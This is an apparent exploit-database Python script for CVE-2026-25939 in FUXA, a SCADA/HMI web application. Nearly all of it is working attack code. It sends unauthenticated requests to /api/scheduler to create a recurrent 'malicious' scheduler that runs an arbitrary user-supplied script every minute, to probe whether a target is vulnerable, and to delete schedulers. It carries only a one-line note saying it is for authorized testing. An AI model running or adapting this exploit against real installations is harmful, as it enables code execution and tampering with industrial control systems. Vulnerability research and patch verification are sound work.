#!/usr/bin/env python3
# Exploit Title: FUXA Unauthenticated Remote Arbitrary Scheduler Write FUXA >= 1.2.8, < 1.2.11
# Date: 2026-02-10
# Exploit Author: Mohammed Idrees Banyamer
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Software Link: https://github.com/frangoteam/FUXA/releases
# Version: 1.2.8 - 1.2.10 (FUXA >= 1.2.8, < 1.2.11)
# Tested on: FUXA 1.2.10 running on Ubuntu 22.04
# CVE: CVE-2026-25939
# Advisory: https://github.com/frangoteam/FUXA/security/advisories/GHSA-c869-jx4c-q5fc
# CVSS: 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
#
# Description:
# Authorization bypass vulnerability in FUXA allows unauthenticated remote attackers to create,
# modify, or delete arbitrary schedulers without authentication. This can lead to remote code
# execution, manipulation of industrial control systems, and disruption of SCADA/ICS operations.
# The vulnerability exists in the /api/scheduler endpoint which lacked proper guest user checks.
#
# Usage:
#   python3 cve-2026-25939.py <target_url> [options]
#   
#   Examples:
#     python3 cve-2026-25939.py http://192.168.1.100:1881 --check
#     python3 cve-2026-25939.py http://192.168.1.100:1881 --command "malicious_script()"
#     python3 cve-2026-25939.py http://target.com --delete "scheduler_id"
#
#   Options:
#     --check          Check if target is vulnerable
#     --command CMD    Command/script to execute via scheduler
#     --delete ID      Delete a specific scheduler
#
#   Note: For authorized security testing only.


import requests
import json
import sys
import argparse
from datetime import datetime, timedelta

def exploit_fuxa_scheduler(target_url, command):
    """
    Attempt to exploit the FUXA scheduler authorization bypass vulnerability.
    
    Args:
        target_url: Base URL of the FUXA instance (e.g., http://192.168.1.100:1881)
        command: Command to execute via scheduler
    """
    
    
    scheduler_url = f"{target_url.rstrip('/')}/api/scheduler"
    
    # Create a malicious scheduler payload
    # The vulnerability allows guest/unauthenticated users to create schedulers
    scheduler_id = "malicious_scheduler_" + datetime.now().strftime("%Y%m%d%H%M%S")
    
    # Calculate future execution time (1 minute from now)
    exec_time = datetime.now() + timedelta(minutes=1)
    
    payload = {
        "id": scheduler_id,
        "data": {
            "name": "Malicious Schedule",
            "type": "recurrent",
            "date": exec_time.strftime("%Y-%m-%d"),
            "time": exec_time.strftime("%H:%M:%S"),
            "interval": "0 * * * * *",  # Every minute
            "enabled": True,
            "script": command,  # This could be any command/script
            "devices": [],  # Could target specific devices if needed
            "tags": []      # Could modify specific tags
        }
    }
    
    print(f"[*] Target: {target_url}")
    print(f"[*] Scheduler ID: {scheduler_id}")
    print(f"[*] Payload: {json.dumps(payload, indent=2)}")
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "FUXA-Exploit-PoC/1.0"
    }
    
    try:
        # Attempt to create scheduler (POST request)
        print(f"\n[*] Attempting to create malicious scheduler...")
        response = requests.post(scheduler_url, json=payload, headers=headers, timeout=10)
        
        print(f"[*] Status Code: {response.status_code}")
        
        if response.status_code == 200:
            print(f"[+] SUCCESS: Scheduler created successfully!")
            print(f"[+] Response: {response.text}")
            
            # Verify the scheduler was created
            print(f"\n[*] Verifying scheduler creation...")
            verify_response = requests.get(f"{scheduler_url}?id={scheduler_id}", headers=headers, timeout=10)
            
            if verify_response.status_code == 200:
                print(f"[+] VERIFIED: Scheduler exists in system")
                print(f"[+] Scheduler data: {verify_response.text}")
            else:
                print(f"[-] Could not verify scheduler creation (Status: {verify_response.status_code})")
                
        elif response.status_code == 401 or response.status_code == 403:
            print(f"[-] FAILED: Target appears to be patched (v1.2.11+)")
            print(f"[-] Response: {response.text}")
        else:
            print(f"[?] UNEXPECTED: Status {response.status_code}")
            print(f"[?] Response: {response.text}")
            
    except requests.exceptions.ConnectionError:
        print(f"[-] ERROR: Could not connect to {target_url}")
        sys.exit(1)
    except requests.exceptions.Timeout:
        print(f"[-] ERROR: Request timed out")
        sys.exit(1)
    except Exception as e:
        print(f"[-] ERROR: {str(e)}")
        sys.exit(1)

def check_vulnerability(target_url):
    """
    Check if a FUXA instance is vulnerable to CVE-2026-25939.
    """
    
    print(f"[*] Checking vulnerability status for {target_url}")
    
    # Try to access scheduler API without authentication
    scheduler_url = f"{target_url.rstrip('/')}/api/scheduler"
    
    headers = {
        "User-Agent": "FUXA-Vuln-Checker/1.0"
    }
    
    try:
        # First, try to list schedulers
        print(f"[*] Testing guest access to scheduler API...")
        response = requests.get(scheduler_url, headers=headers, timeout=10)
        
        print(f"[*] GET Response Status: {response.status_code}")
        
        # Try a POST with minimal payload
        test_payload = {
            "id": "test_vuln_check",
            "data": {
                "name": "Test",
                "type": "once",
                "enabled": False
            }
        }
        
        print(f"[*] Testing scheduler creation...")
        post_response = requests.post(scheduler_url, json=test_payload, headers=headers, timeout=10)
        
        print(f"[*] POST Response Status: {post_response.status_code}")
        
        # Analysis
        if post_response.status_code == 200:
            print(f"\n[!] VULNERABLE: Target accepts unauthenticated scheduler creation")
            print(f"[!] This indicates version < 1.2.11")
            return True
        elif post_response.status_code in [401, 403]:
            print(f"\n[+] SECURE: Target rejects unauthenticated requests")
            print(f"[+] This indicates version >= 1.2.11 (patched)")
            return False
        else:
            print(f"\n[?] INCONCLUSIVE: Unexpected response {post_response.status_code}")
            return None
            
    except Exception as e:
        print(f"[-] Error during check: {str(e)}")
        return None

def delete_scheduler(target_url, scheduler_id):
    """
    Demonstrate deletion capability (part of the vulnerability).
    """
    
    scheduler_url = f"{target_url.rstrip('/')}/api/scheduler"
    
    headers = {
        "User-Agent": "FUXA-Exploit-PoC/1.0"
    }
    
    params = {
        "id": scheduler_id
    }
    
    try:
        print(f"\n[*] Attempting to delete scheduler: {scheduler_id}")
        response = requests.delete(scheduler_url, params=params, headers=headers, timeout=10)
        
        print(f"[*] DELETE Status: {response.status_code}")
        
        if response.status_code == 200:
            print(f"[+] SUCCESS: Scheduler deleted")
        else:
            print(f"[-] Failed to delete scheduler")
            
    except Exception as e:
        print(f"[-] Error: {str(e)}")

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-25939 - FUXA Unauthenticated Remote Arbitrary Scheduler Write Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s http://192.168.1.100:1881 --check
  %(prog)s http://192.168.1.100:1881 --command "console.log('Exploited')"
  %(prog)s http://192.168.1.100:1881 --delete "malicious_scheduler_20260210123045"
  
Note: For authorized security testing only. Unauthorized testing is illegal.
        """
    )
    
    parser.add_argument("target", help="Target URL (e.g., http://192.168.1.100:1881)")
    parser.add_argument("--check", action="store_true", help="Check if target is vulnerable")
    parser.add_argument("--command", default="console.log('Exploited')", 
                       help="Command/script to execute via scheduler (default: test command)")
    parser.add_argument("--delete", help="Delete a specific scheduler by ID")
    
    args = parser.parse_args()
    
    print("\n" + "="*70)
    print("CVE-2026-25939 - FUXA Scheduler Authorization Bypass Exploit")
    print("="*70)
    
    if args.delete:
        delete_scheduler(args.target, args.delete)
    elif args.check:
        check_vulnerability(args.target)
    else:
        exploit_fuxa_scheduler(args.target, args.command)
    
    print("\n[*] PoC completed")

if __name__ == "__main__":
    main()